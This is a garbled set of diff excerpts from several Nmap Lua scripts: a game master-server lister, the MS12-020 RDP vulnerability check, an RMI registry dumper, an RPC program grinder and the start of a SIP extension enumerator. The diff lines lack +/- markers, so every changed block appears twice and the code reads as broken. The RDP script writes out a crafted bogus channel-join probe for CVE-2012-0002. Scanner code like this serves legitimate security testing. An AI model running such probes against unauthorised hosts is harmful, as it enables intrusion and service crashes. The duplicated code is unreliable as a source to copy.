for _, node in ipairs(getservers(host, port, protocol)) do
local entry = {
protocol = protocol,
ip = node[1],
port = node[2],
masterip = host.ip,
masterport = port.number
}
table.insert(discovered, entry)
end
end
return discovered
end
local function store(servers)
if not nmap.registry.q3m_servers then
nmap.registry.q3m_servers = {}
end
for _, server in ipairs(servers) do
table.insert(nmap.registry.q3m_servers, server)
end
if not nmap.registry.q3m_servers then
nmap.registry.q3m_servers = {}
end
for _, server in ipairs(servers) do
table.insert(nmap.registry.q3m_servers, server)
end
end
local function protocols()
local filter = {}
local count = {}
for _, advert in ipairs(nmap.registry.q3m_servers) do
local key = stdnse.strjoin(":", {advert.ip, advert.port, advert.protocol})
if filter[key] == nil then
if count[advert.protocol] == nil then
count[advert.protocol] = 0
end
count[advert.protocol] = count[advert.protocol] + 1
filter[key] = true
end
local mkey = stdnse.strjoin(":", {advert.masterip, advert.masterport})
end
local sortable = {}
for k, v in pairs(count) do
table.insert(sortable, {k, v})
end
table.sort(sortable, function(a, b) return a[2] > b[2] or (a[2] == b[2] and a[1] > b[1]) end)
local t = tab.new()
tab.addrow(t, '#', 'PROTOCOL', 'GAME', 'SERVERS')
for i, p in ipairs(sortable) do
local pos = i .. '.'
local protocol = p[1]
count = p[2]
local game = KNOWN_PROTOCOLS[protocol]
if game == "unknown" then
game = ""
end
tab.addrow(t, pos, protocol, game, count)
end
return '\n' .. tab.dump(t)
local filter = {}
local count = {}
for _, advert in ipairs(nmap.registry.q3m_servers) do
local key = stdnse.strjoin(":", {advert.ip, advert.port, advert.protocol})
if filter[key] == nil then
if count[advert.protocol] == nil then
count[advert.protocol] = 0
end
count[advert.protocol] = count[advert.protocol] + 1
filter[key] = true
end
local mkey = stdnse.strjoin(":", {advert.masterip, advert.masterport})
end
local sortable = {}
for k, v in pairs(count) do
table.insert(sortable, {k, v})
end
table.sort(sortable, function(a, b) return a[2] > b[2] or (a[2] == b[2] and a[1] > b[1]) end)
local t = tab.new()
tab.addrow(t, '#', 'PROTOCOL', 'GAME', 'SERVERS')
for i, p in ipairs(sortable) do
local pos = i .. '.'
local protocol = p[1]
count = p[2]
local game = KNOWN_PROTOCOLS[protocol]
if game == "unknown" then
game = ""
end
tab.addrow(t, pos, protocol, game, count)
end
return '\n' .. tab.dump(t)
end
action = function(host, port)
if SCRIPT_TYPE == "postrule" then
return protocols()
end
local outputlimit = nmap.registry.args[SCRIPT_NAME .. ".outputlimit"]
if not outputlimit then
outputlimit = 10
else
outputlimit = tonumber(outputlimit)
end
if outputlimit < 1 then
outputlimit = nil
end
local servers = scan(host, port, KNOWN_PROTOCOLS)
store(servers)
local unique = dropdupes(servers, function(t) return string.format("%s: %s:%d", t.protocol, t.ip, t.port) end)
local formatted = formatresult(unique, outputlimit, KNOWN_PROTOCOLS)
if #formatted < 1 then
return
end
local response = {}
table.insert(response, formatted)
if outputlimit and outputlimit < #servers then
table.insert(response, string.format('Only %d/%d shown. Use --script-args %s.outputlimit=-1 to see all.', outputlimit, #servers, SCRIPT_NAME))
end
return stdnse.format_output(true, response)
if SCRIPT_TYPE == "postrule" then
return protocols()
end
local outputlimit = nmap.registry.args[SCRIPT_NAME .. ".outputlimit"]
if not outputlimit then
outputlimit = 10
else
outputlimit = tonumber(outputlimit)
end
if outputlimit < 1 then
outputlimit = nil
end
local servers = scan(host, port, KNOWN_PROTOCOLS)
store(servers)
local unique = dropdupes(servers, function(t) return string.format("%s: %s:%d", t.protocol, t.ip, t.port) end)
local formatted = formatresult(unique, outputlimit, KNOWN_PROTOCOLS)
if #formatted < 1 then
return
end
local response = {}
table.insert(response, formatted)
if outputlimit and outputlimit < #servers then
table.insert(response, string.format('Only %d/%d shown. Use --script-args %s.outputlimit=-1 to see all.', outputlimit, #servers, SCRIPT_NAME))
end
return stdnse.format_output(true, response)
end

View File

@@ -72,152 +72,152 @@ categories = {"intrusive", "vuln"}
portrule = shortport.port_or_service({3389},{"ms-wbt-server"})
action = function(host, port)
local socket = nmap.new_socket()
local status, err,response
local socket = nmap.new_socket()
local status, err,response
-- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx for more info
local connectionRequestStr = "0300" -- TPKT Header version 03, reserved 0
.. "000b" -- Length
.. "06" -- X.224 Data TPDU length
.. "e0" -- X.224 Type (Connection request)
.. "0000" -- dst reference
.. "0000" -- src reference
.. "00" -- class and options
local connectionRequest = bin.pack("H",connectionRequestStr)
-- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx for more info
local connectionRequestStr = "0300" -- TPKT Header version 03, reserved 0
.. "000b" -- Length
.. "06" -- X.224 Data TPDU length
.. "e0" -- X.224 Type (Connection request)
.. "0000" -- dst reference
.. "0000" -- src reference
.. "00" -- class and options
local connectionRequest = bin.pack("H",connectionRequestStr)
-- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx
local connectInitialStr = "03000065" -- TPKT Header
.. "02f080" -- Data TPDU, EOT
.. "7f655b" -- Connect-Initial
.. "040101" -- callingDomainSelector
.. "040101" -- calledDomainSelector
.. "0101ff" -- upwardFlag
.. "3019" -- targetParams + size
.. "020122" -- maxChannelIds
.. "020120" -- maxUserIds
.. "020100" -- maxTokenIds
.. "020101" -- numPriorities
.. "020100" -- minThroughput
.. "020101" -- maxHeight
.. "0202ffff" -- maxMCSPDUSize
.. "020102" -- protocolVersion
.. "3018" -- minParams + size
.. "020101" -- maxChannelIds
.. "020101" -- maxUserIds
.. "020101" -- maxTokenIds
.. "020101" -- numPriorities
.. "020100" -- minThroughput
.. "020101" -- maxHeight
.. "0201ff" -- maxMCSPDUSize
.. "020102" -- protocolVersion
.. "3019" -- maxParams + size
.. "0201ff" -- maxChannelIds
.. "0201ff" -- maxUserIds
.. "0201ff" -- maxTokenIds
.. "020101" -- numPriorities
.. "020100" -- minThroughput
.. "020101" -- maxHeight
.. "0202ffff" -- maxMCSPDUSize
.. "020102" -- protocolVersion
.. "0400" -- userData
local connectInitial = bin.pack("H",connectInitialStr)
-- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx
local connectInitialStr = "03000065" -- TPKT Header
.. "02f080" -- Data TPDU, EOT
.. "7f655b" -- Connect-Initial
.. "040101" -- callingDomainSelector
.. "040101" -- calledDomainSelector
.. "0101ff" -- upwardFlag
.. "3019" -- targetParams + size
.. "020122" -- maxChannelIds
.. "020120" -- maxUserIds
.. "020100" -- maxTokenIds
.. "020101" -- numPriorities
.. "020100" -- minThroughput
.. "020101" -- maxHeight
.. "0202ffff" -- maxMCSPDUSize
.. "020102" -- protocolVersion
.. "3018" -- minParams + size
.. "020101" -- maxChannelIds
.. "020101" -- maxUserIds
.. "020101" -- maxTokenIds
.. "020101" -- numPriorities
.. "020100" -- minThroughput
.. "020101" -- maxHeight
.. "0201ff" -- maxMCSPDUSize
.. "020102" -- protocolVersion
.. "3019" -- maxParams + size
.. "0201ff" -- maxChannelIds
.. "0201ff" -- maxUserIds
.. "0201ff" -- maxTokenIds
.. "020101" -- numPriorities
.. "020100" -- minThroughput
.. "020101" -- maxHeight
.. "0202ffff" -- maxMCSPDUSize
.. "020102" -- protocolVersion
.. "0400" -- userData
local connectInitial = bin.pack("H",connectInitialStr)
-- see http://msdn.microsoft.com/en-us/library/cc240835%28v=prot.10%29.aspx
local userRequestStr = "0300" -- header
.. "0008" -- length
.. "02f080" -- X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission)
.. "28" -- PER encoded PDU contents
local userRequest = bin.pack("H",userRequestStr)
-- see http://msdn.microsoft.com/en-us/library/cc240835%28v=prot.10%29.aspx
local userRequestStr = "0300" -- header
.. "0008" -- length
.. "02f080" -- X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission)
.. "28" -- PER encoded PDU contents
local userRequest = bin.pack("H",userRequestStr)
local user1,user2
local pos
local user1,user2
local pos
local rdp_vuln_0152 = {
title = "MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability",
IDS = {CVE = 'CVE-2012-0152'},
risk_factor = "Medium",
scores = {
CVSSv2 = "4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)",
},
description = [[
Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
]],
references = {
'http://technet.microsoft.com/en-us/security/bulletin/ms12-020',
},
dates = {
disclosure = {year = '2012', month = '03', day = '13'},
},
exploit_results = {},
}
local rdp_vuln_0152 = {
title = "MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability",
IDS = {CVE = 'CVE-2012-0152'},
risk_factor = "Medium",
scores = {
CVSSv2 = "4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)",
},
description = [[
Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
]],
references = {
'http://technet.microsoft.com/en-us/security/bulletin/ms12-020',
},
dates = {
disclosure = {year = '2012', month = '03', day = '13'},
},
exploit_results = {},
}
local rdp_vuln_0002 = {
title = "MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability",
IDS = {CVE = 'CVE-2012-0002'},
risk_factor = "High",
scores = {
CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
},
description = [[
Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
]],
references = {
'http://technet.microsoft.com/en-us/security/bulletin/ms12-020',
},
dates = {
disclosure = {year = '2012', month = '03', day = '13'},
},
exploit_results = {},
}
local rdp_vuln_0002 = {
title = "MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability",
IDS = {CVE = 'CVE-2012-0002'},
risk_factor = "High",
scores = {
CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
},
description = [[
Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
]],
references = {
'http://technet.microsoft.com/en-us/security/bulletin/ms12-020',
},
dates = {
disclosure = {year = '2012', month = '03', day = '13'},
},
exploit_results = {},
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
rdp_vuln_0152.state = vulns.STATE.NOT_VULN
rdp_vuln_0002.state = vulns.STATE.NOT_VULN
local report = vulns.Report:new(SCRIPT_NAME, host, port)
rdp_vuln_0152.state = vulns.STATE.NOT_VULN
rdp_vuln_0002.state = vulns.STATE.NOT_VULN
-- Sleep for 0.2 seconds to make sure the script works even with SYN scan.
-- Posible reason for this is that Windows resets the connection if we try to
-- reconect too fast to the same port after doing a SYN scan and not completing the
-- handshake. In my tests, sleep values above 0.1s prevent the connection reset.
stdnse.sleep(0.2)
-- Sleep for 0.2 seconds to make sure the script works even with SYN scan.
-- Posible reason for this is that Windows resets the connection if we try to
-- reconect too fast to the same port after doing a SYN scan and not completing the
-- handshake. In my tests, sleep values above 0.1s prevent the connection reset.
stdnse.sleep(0.2)
socket:connect(host.ip, port)
status, err = socket:send(connectionRequest)
socket:connect(host.ip, port)
status, err = socket:send(connectionRequest)
status, response = socket:receive_bytes(0)
if response ~= bin.pack("H","0300000b06d00000123400") then
--probably not rdp at all
stdnse.print_debug(1, "%s: not RDP", SCRIPT_NAME)
return nil
end
status, err = socket:send(connectInitial)
status, err = socket:send(userRequest) -- send attach user request
status, response = socket:receive_bytes(0) -- recieve attach user confirm
pos,user1 = bin.unpack(">S",response:sub(10,11)) -- user_channel-1001 - see http://msdn.microsoft.com/en-us/library/cc240918%28v=prot.10%29.aspx
status, response = socket:receive_bytes(0)
if response ~= bin.pack("H","0300000b06d00000123400") then
--probably not rdp at all
stdnse.print_debug(1, "%s: not RDP", SCRIPT_NAME)
return nil
end
status, err = socket:send(connectInitial)
status, err = socket:send(userRequest) -- send attach user request
status, response = socket:receive_bytes(0) -- recieve attach user confirm
pos,user1 = bin.unpack(">S",response:sub(10,11)) -- user_channel-1001 - see http://msdn.microsoft.com/en-us/library/cc240918%28v=prot.10%29.aspx
status, err = socket:send(userRequest) -- send another attach user request
status, response = socket:receive_bytes(0) -- recieve another attach user confirm
pos,user2 = bin.unpack(">S",response:sub(10,11)) -- second user's channel - 1001
user2 = user2+1001 -- second user's channel
local data4 = bin.pack(">SS",user1,user2)
local data5 = bin.pack("H","0300000c02f08038") -- channel join request TPDU
local channelJoinRequest = data5 .. data4
status, err = socket:send(channelJoinRequest) -- bogus channel join request user1 requests channel of user2
status, response = socket:receive_bytes(0)
if response:sub(8,9) == bin.pack("H","3e00") then
-- 3e00 indicates a successfull join
-- see http://msdn.microsoft.com/en-us/library/cc240911%28v=prot.10%29.aspx
-- service is vulnerable
-- send a valid request to prevent the BSoD
data4 = bin.pack(">SS",user2-1001,user2)
channelJoinRequest = data5 .. data4 -- valid join request
status, err = socket:send(channelJoinRequest)
status, response = socket:receive_bytes(0)
socket:close()
rdp_vuln_0152.state = vulns.STATE.VULN
rdp_vuln_0002.state = vulns.STATE.VULN
return report:make_output(rdp_vuln_0152,rdp_vuln_0002)
end
--service is not vulnerable
socket:close()
return report:make_output(rdp_vuln_0152,rdp_vuln_0002)
status, err = socket:send(userRequest) -- send another attach user request
status, response = socket:receive_bytes(0) -- recieve another attach user confirm
pos,user2 = bin.unpack(">S",response:sub(10,11)) -- second user's channel - 1001
user2 = user2+1001 -- second user's channel
local data4 = bin.pack(">SS",user1,user2)
local data5 = bin.pack("H","0300000c02f08038") -- channel join request TPDU
local channelJoinRequest = data5 .. data4
status, err = socket:send(channelJoinRequest) -- bogus channel join request user1 requests channel of user2
status, response = socket:receive_bytes(0)
if response:sub(8,9) == bin.pack("H","3e00") then
-- 3e00 indicates a successfull join
-- see http://msdn.microsoft.com/en-us/library/cc240911%28v=prot.10%29.aspx
-- service is vulnerable
-- send a valid request to prevent the BSoD
data4 = bin.pack(">SS",user2-1001,user2)
channelJoinRequest = data5 .. data4 -- valid join request
status, err = socket:send(channelJoinRequest)
status, response = socket:receive_bytes(0)
socket:close()
rdp_vuln_0152.state = vulns.STATE.VULN
rdp_vuln_0002.state = vulns.STATE.VULN
return report:make_output(rdp_vuln_0152,rdp_vuln_0002)
end
--service is not vulnerable
socket:close()
return report:make_output(rdp_vuln_0152,rdp_vuln_0002)
end

View File

@@ -155,20 +155,20 @@ portrule = shortport.port_or_service({1098, 1099, 1090, 8901, 8902, 8903}, {"jav
-- Some lazy shortcuts
local function dbg(str,...)
stdnse.print_debug(3,"RMI-DUMPREG:"..str, ...)
stdnse.print_debug(3,"RMI-DUMPREG:"..str, ...)
end
local function dbg_err(str, ... )
stdnse.print_debug("RMI-DUMPREG-ERR:"..str, ...)
stdnse.print_debug("RMI-DUMPREG-ERR:"..str, ...)
end
-- Function to split a string
local function split(str, sep)
local sep, fields = sep or "; ", {}
local pattern = string.format("([^%s]+)", sep)
str:gsub(pattern, function(c) fields[#fields+1] = c end)
return fields
end
local sep, fields = sep or "; ", {}
local pattern = string.format("([^%s]+)", sep)
str:gsub(pattern, function(c) fields[#fields+1] = c end)
return fields
end
--This is a customData formatter. In some cases, the RMI library finds 'custom data' which belongs to an object.
@@ -180,57 +180,57 @@ local function split(str, sep)
-- of the returned RMI object.
-- @return title, data
function customDataFormatter(className, customData)
if customData == nil then return nil end
if #customData ==0 then return nil end
if customData == nil then return nil end
if #customData ==0 then return nil end
local retData = {}
for k,v in ipairs(customData) do
if v:find("file:/") == 1 then
-- This is a classpath
local cp = split(v, "; ") -- Splits into table
table.insert(retData, "Classpath")
table.insert(retData, cp)
else
table.insert(retData[v])
end
end
local retData = {}
for k,v in ipairs(customData) do
if v:find("file:/") == 1 then
-- This is a classpath
local cp = split(v, "; ") -- Splits into table
table.insert(retData, "Classpath")
table.insert(retData, cp)
else
table.insert(retData[v])
end
end
return "Custom data", retData
return "Custom data", retData
end
function action(host,port, args)
local registry= rmi.Registry:new( host.ip, port.number)
local registry= rmi.Registry:new( host.ip, port.number)
local status, j_array = registry:list()
local output = {}
if not status then
return false, ("Registry listing failed (%s)"):format(tostring(j_array))
end
-- It's definitely RMI!
port.version.name ='java-rmi'
port.version.product='Java RMI Registry'
nmap.set_port_version(host,port)
local status, j_array = registry:list()
local output = {}
if not status then
return false, ("Registry listing failed (%s)"):format(tostring(j_array))
end
-- It's definitely RMI!
port.version.name ='java-rmi'
port.version.product='Java RMI Registry'
nmap.set_port_version(host,port)
-- Monkey patch the java-class in rmi, to set our own custom data formatter
-- for classpaths
rmi.JavaClass.customDataFormatter = customDataFormatter
-- Monkey patch the java-class in rmi, to set our own custom data formatter
-- for classpaths
rmi.JavaClass.customDataFormatter = customDataFormatter
-- We expect an array of strings to be the return data
local data = j_array:getValues()
for i,name in ipairs( data ) do
--print(data)
table.insert(output, name)
dbg("Querying object %s", name)
local status, j_object= registry:lookup(name)
-- We expect an array of strings to be the return data
local data = j_array:getValues()
for i,name in ipairs( data ) do
--print(data)
table.insert(output, name)
dbg("Querying object %s", name)
local status, j_object= registry:lookup(name)
if status then
table.insert(output, j_object:toTable())
end
if status then
table.insert(output, j_object:toTable())
end
end
return stdnse.format_output(true, output)
end
return stdnse.format_output(true, output)
end

View File

@@ -44,16 +44,16 @@ categories = {"version"}
portrule = function(host, port)
-- Do not run for excluded ports
if (nmap.port_is_excluded(port.number, port.protocol)) then
return false
end
if port.service ~= nil and port.version.service_dtype ~= "table" and port.service ~= 'rpcbind' then
-- Exclude services that have already been detected as something
-- different than rpcbind.
return false
end
return true
-- Do not run for excluded ports
if (nmap.port_is_excluded(port.number, port.protocol)) then
return false
end
if port.service ~= nil and port.version.service_dtype ~= "table" and port.service ~= 'rpcbind' then
-- Exclude services that have already been detected as something
-- different than rpcbind.
return false
end
return true
end
--- Function that determines if the target port of host uses RPC protocol.
@@ -61,57 +61,57 @@ end
--@param port Port table as commonly used in Nmap.
--@return status boolean True if target port uses RPC protocol, false else.
local isRPC = function(host, port)
-- If rpcbind is already set up by -sV
-- which does practically the same check as in the "else" part.
-- The nmap-services-probe entry "rpcbind" is not correctly true, and should
-- be changed to something like "sunrpc"
if port.service == 'rpcbind' then
return true
else
-- this check is important if we didn't run the scan with -sV.
-- If we run the scan with -sV, this check shouldn't return true as it is pretty much similar
-- to the "rpcbind" service probe in nmap-service-probes.
local rpcConn, status, err, data, rxid, msgtype, _
-- If rpcbind is already set up by -sV
-- which does practically the same check as in the "else" part.
-- The nmap-services-probe entry "rpcbind" is not correctly true, and should
-- be changed to something like "sunrpc"
if port.service == 'rpcbind' then
return true
else
-- this check is important if we didn't run the scan with -sV.
-- If we run the scan with -sV, this check shouldn't return true as it is pretty much similar
-- to the "rpcbind" service probe in nmap-service-probes.
local rpcConn, status, err, data, rxid, msgtype, _
-- Create new socket
-- rpcbind is not really important, we could have used another protocol from rpc.lua
-- such as nfs or mountd. Same thing for version 2.
rpcConn = rpc.Comm:new("rpcbind", 2)
status, err = rpcConn:Connect(host, port)
if not status then
stdnse.print_debug("%s: %s", SCRIPT_NAME, err)
return
end
-- Send packet
local xid = math.random(1234567890)
data = rpcConn:EncodePacket(xid)
status, err = rpcConn:SendPacket(data)
if not status then
stdnse.print_debug("%s SendPacket(): %s", SCRIPT_NAME, err)
return
end
-- And check response
status, data = rpcConn:ReceivePacket()
if not status then
stdnse.print_debug("%s: isRPC didn't receive response.", SCRIPT_NAME)
return
else
-- If we got response, set port to open
nmap.set_port_state(host, port, "open")
_, rxid = bin.unpack(">I", data, 1)
_, msgtype = bin.unpack(">I", data, 5)
-- If response XID does match request XID
-- and message type equals 1 (REPLY) then
-- it is a RPC port.
if rxid == xid and msgtype == 1 then
return true
end
end
-- Create new socket
-- rpcbind is not really important, we could have used another protocol from rpc.lua
-- such as nfs or mountd. Same thing for version 2.
rpcConn = rpc.Comm:new("rpcbind", 2)
status, err = rpcConn:Connect(host, port)
if not status then
stdnse.print_debug("%s: %s", SCRIPT_NAME, err)
return
end
stdnse.print_debug("%s: RPC checking function response data is not RPC.", SCRIPT_NAME)
-- Send packet
local xid = math.random(1234567890)
data = rpcConn:EncodePacket(xid)
status, err = rpcConn:SendPacket(data)
if not status then
stdnse.print_debug("%s SendPacket(): %s", SCRIPT_NAME, err)
return
end
-- And check response
status, data = rpcConn:ReceivePacket()
if not status then
stdnse.print_debug("%s: isRPC didn't receive response.", SCRIPT_NAME)
return
else
-- If we got response, set port to open
nmap.set_port_state(host, port, "open")
_, rxid = bin.unpack(">I", data, 1)
_, msgtype = bin.unpack(">I", data, 5)
-- If response XID does match request XID
-- and message type equals 1 (REPLY) then
-- it is a RPC port.
if rxid == xid and msgtype == 1 then
return true
end
end
end
stdnse.print_debug("%s: RPC checking function response data is not RPC.", SCRIPT_NAME)
end
-- Function that iterates over the nmap-rpc file and
@@ -119,34 +119,34 @@ end
-- @return name Name of the RPC service.
-- @return number RPC number of the matching service name.
local rpcIterator = function()
-- Check if nmap-rpc file is present.
local path = nmap.fetchfile("nmap-rpc")
if not path then
stdnse.print_debug("%s: Could not find nmap-rpc file.", SCRIPT_NAME)
return false
end
-- Check if nmap-rpc file is present.
local path = nmap.fetchfile("nmap-rpc")
if not path then
stdnse.print_debug("%s: Could not find nmap-rpc file.", SCRIPT_NAME)
return false
end
-- And is readable
local nmaprpc, _, _ = io.open( path, "r" )
if not nmaprpc then
stdnse.print_debug("%s: Could not open nmap-rpc for reading.", SCRIPT_NAME)
return false
end
-- And is readable
local nmaprpc, _, _ = io.open( path, "r" )
if not nmaprpc then
stdnse.print_debug("%s: Could not open nmap-rpc for reading.", SCRIPT_NAME)
return false
end
return function()
while true do
local line = nmaprpc:read()
if not line then
break
end
-- Now, we parse lines for meaningful ones
local name, number = line:match("^%s*([^%s#]+)%s+(%d+)")
-- And return program name and number
if name and number then
return name, tonumber(number)
end
end
return function()
while true do
local line = nmaprpc:read()
if not line then
break
end
-- Now, we parse lines for meaningful ones
local name, number = line:match("^%s*([^%s#]+)%s+(%d+)")
-- And return program name and number
if name and number then
return name, tonumber(number)
end
end
end
end
--- Function that sends RPC null commands with a random version number and
@@ -157,113 +157,113 @@ end
-- @param iterator Iterator function that returns program name and number pairs.
-- @param result table to put result into.
local rpcGrinder = function(host, port, iterator, result)
local condvar = nmap.condvar(result)
local rpcConn, version, xid, status, response, packet, err, data, _
local condvar = nmap.condvar(result)
local rpcConn, version, xid, status, response, packet, err, data, _
xid = math.random(123456789)
-- We use a random, most likely unsupported version so that
-- we also trigger min and max version disclosure for the target service.
version = math.random(12345, 123456789)
rpcConn = rpc.Comm:new("rpcbind", version)
rpcConn:SetCheckProgVer(false)
status, err = rpcConn:Connect(host, port)
xid = math.random(123456789)
-- We use a random, most likely unsupported version so that
-- we also trigger min and max version disclosure for the target service.
version = math.random(12345, 123456789)
rpcConn = rpc.Comm:new("rpcbind", version)
rpcConn:SetCheckProgVer(false)
status, err = rpcConn:Connect(host, port)
if not status then
stdnse.print_debug("%s Connect(): %s", SCRIPT_NAME, err)
condvar "signal";
return
end
for program, number in iterator do
-- No need to continue further if we found the matching service.
if #result > 0 then
break
end
xid = xid + 1 -- XiD increased by 1 each time (from old RPC grind) <= Any important reason for that?
rpcConn:SetProgID(number)
packet = rpcConn:EncodePacket(xid)
status, err = rpcConn:SendPacket(packet)
if not status then
stdnse.print_debug("%s SendPacket(): %s", SCRIPT_NAME, err)
condvar "signal";
return
end
status, data = rpcConn:ReceivePacket()
if not status then
stdnse.print_debug("%s ReceivePacket(): %s", SCRIPT_NAME, data)
condvar "signal";
return
end
_,response = rpcConn:DecodeHeader(data, 1)
if type(response) == 'table' then
if xid ~= response.xid then
-- Shouldn't happen.
stdnse.print_debug("%s: XID mismtach.", SCRIPT_NAME)
end
-- Look at accept state
-- Not supported version means that we used the right program number
if response.accept_state == rpc.Portmap.AcceptState.PROG_MISMATCH then
result.program = program
result.number = number
_, result.highver = bin.unpack(">I", data, #data - 3)
_, result.lowver = bin.unpack(">I", data, #data - 7)
table.insert(result, true) -- To make #result > 1
-- Otherwise, an Accept state other than Program unavailable is not normal behaviour.
elseif response.accept_state ~= rpc.Portmap.AcceptState.PROG_UNAVAIL then
stdnse.print_debug("%s: returned %s accept state for %s program number.",SCRIPT_NAME, response.accept_state, number)
end
end
end
if not status then
stdnse.print_debug("%s Connect(): %s", SCRIPT_NAME, err)
condvar "signal";
return result
return
end
for program, number in iterator do
-- No need to continue further if we found the matching service.
if #result > 0 then
break
end
xid = xid + 1 -- XiD increased by 1 each time (from old RPC grind) <= Any important reason for that?
rpcConn:SetProgID(number)
packet = rpcConn:EncodePacket(xid)
status, err = rpcConn:SendPacket(packet)
if not status then
stdnse.print_debug("%s SendPacket(): %s", SCRIPT_NAME, err)
condvar "signal";
return
end
status, data = rpcConn:ReceivePacket()
if not status then
stdnse.print_debug("%s ReceivePacket(): %s", SCRIPT_NAME, data)
condvar "signal";
return
end
_,response = rpcConn:DecodeHeader(data, 1)
if type(response) == 'table' then
if xid ~= response.xid then
-- Shouldn't happen.
stdnse.print_debug("%s: XID mismtach.", SCRIPT_NAME)
end
-- Look at accept state
-- Not supported version means that we used the right program number
if response.accept_state == rpc.Portmap.AcceptState.PROG_MISMATCH then
result.program = program
result.number = number
_, result.highver = bin.unpack(">I", data, #data - 3)
_, result.lowver = bin.unpack(">I", data, #data - 7)
table.insert(result, true) -- To make #result > 1
-- Otherwise, an Accept state other than Program unavailable is not normal behaviour.
elseif response.accept_state ~= rpc.Portmap.AcceptState.PROG_UNAVAIL then
stdnse.print_debug("%s: returned %s accept state for %s program number.",SCRIPT_NAME, response.accept_state, number)
end
end
end
condvar "signal";
return result
end
action = function(host, port)
local result, lthreads = {}, {}
local result, lthreads = {}, {}
if not isRPC(host, port) then
stdnse.print_debug("Target port %s is not a RPC port.", port.number)
return
if not isRPC(host, port) then
stdnse.print_debug("Target port %s is not a RPC port.", port.number)
return
end
local threads = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".threads")) or 4
local iterator = rpcIterator()
if not iterator then
return
end
-- And now, exec our grinder
for i = 1,threads do
local co = stdnse.new_thread(rpcGrinder, host, port, iterator, result)
lthreads[co] = true
end
local condvar = nmap.condvar(result)
repeat
for thread in pairs(lthreads) do
if coroutine.status(thread) == "dead" then
lthreads[thread] = nil
end
end
local threads = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".threads")) or 4
local iterator = rpcIterator()
if not iterator then
return
end
-- And now, exec our grinder
for i = 1,threads do
local co = stdnse.new_thread(rpcGrinder, host, port, iterator, result)
lthreads[co] = true
if ( next(lthreads) ) then
condvar "wait";
end
until next(lthreads) == nil;
local condvar = nmap.condvar(result)
repeat
for thread in pairs(lthreads) do
if coroutine.status(thread) == "dead" then
lthreads[thread] = nil
end
end
if ( next(lthreads) ) then
condvar "wait";
end
until next(lthreads) == nil;
-- Check the result and set the port version.
if #result > 0 then
port.version.name = result.program
port.version.extrainfo = "RPC #" .. result.number
if result.highver ~= result.lowver then
port.version.version = ("%s-%s"):format(result.lowver, result.highver)
else
port.version.version = result.highver
end
nmap.set_port_version(host, port, "hardmatched")
-- Check the result and set the port version.
if #result > 0 then
port.version.name = result.program
port.version.extrainfo = "RPC #" .. result.number
if result.highver ~= result.lowver then
port.version.version = ("%s-%s"):format(result.lowver, result.highver)
else
stdnse.print_debug("Couldn't determine the target RPC service. Running a service not in nmap-rpc ?")
port.version.version = result.highver
end
return nil
nmap.set_port_version(host, port, "hardmatched")
else
stdnse.print_debug("Couldn't determine the target RPC service. Running a service not in nmap-rpc ?")
end
return nil
end

View File

@@ -73,14 +73,14 @@ portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"})
-- @return status true on success, false on failure.
-- @return Response instance on success, error string on failure.
local registerext = function(sess, ext)
-- set session values
local request = sip.Request:new(sip.Method.REGISTER)
-- set session values
local request = sip.Request:new(sip.Method.REGISTER)
request:setUri("sip:" .. sess.sessdata:getServer())
sess.sessdata:setUsername(ext)
request:setSessionData(sess.sessdata)
request:setUri("sip:" .. sess.sessdata:getServer())
sess.sessdata:setUsername(ext)
request:setSessionData(sess.sessdata)
return sess:exch(request)
return sess:exch(request)
end
--- Function that returns a number as string with a number of zeroes padded to
@@ -89,14 +89,14 @@ end
-- @arg padding number of digits to pad up to.
-- @return string of padded number.
local padnum = function(num, padding)
-- How many zeroes do we need to add
local n = #tostring(num)
if n >= padding then
return tostring(num)
end
n = padding - n
-- How many zeroes do we need to add
local n = #tostring(num)
if n >= padding then
return tostring(num)
end
n = padding - n
return string.rep(tostring(0), n) .. tostring(num)
return string.rep(tostring(0), n) .. tostring(num)
end
--- Iterator function that returns values from a lower value up to a greater
@@ -106,11 +106,11 @@ end
-- @arg padding number of digits to pad up to.
-- @return string current value.
local numiterator = function(minval, maxval, padding)
local i = minval - 1
return function()
i = i + 1
if i <= maxval then return padnum(i, padding), '' end
end
local i = minval - 1
return function()
i = i + 1
if i <= maxval then return padnum(i, padding), '' end
end
end
--- Iterator function that returns lines from a file
@@ -118,19 +118,19 @@ end
-- @return status false if error.
-- @return string current line.
local useriterator = function(list)
local f = nmap.fetchfile(list) or list
if not f then
return false, ("\n ERROR: Couldn't find %s"):format(list)
end
f = io.open(f)
if ( not(f) ) then
return false, ("\n ERROR: Failed to open %s"):format(list)
end
return function()
for line in f:lines() do
return line
end
local f = nmap.fetchfile(list) or list
if not f then
return false, ("\n ERROR: Couldn't find %s"):format(list)
end
f = io.open(f)
if ( not(f) ) then
return false, ("\n ERROR: Failed to open %s"):format(list)
end
return function()
for line in f:lines() do
return line
end
end
end
--- function that tests for 404 status code when sending a REGISTER request
@@ -138,128 +138,128 @@ end
-- @arg host Target host table.
-- @arg port Target port table.
local test404 = function(host, port)
local session, status, randext, response
-- Random extension
randext = math.random(1234567,987654321)
local session, status, randext, response
-- Random extension
randext = math.random(1234567,987654321)
session = sip.Session:new(host, port)
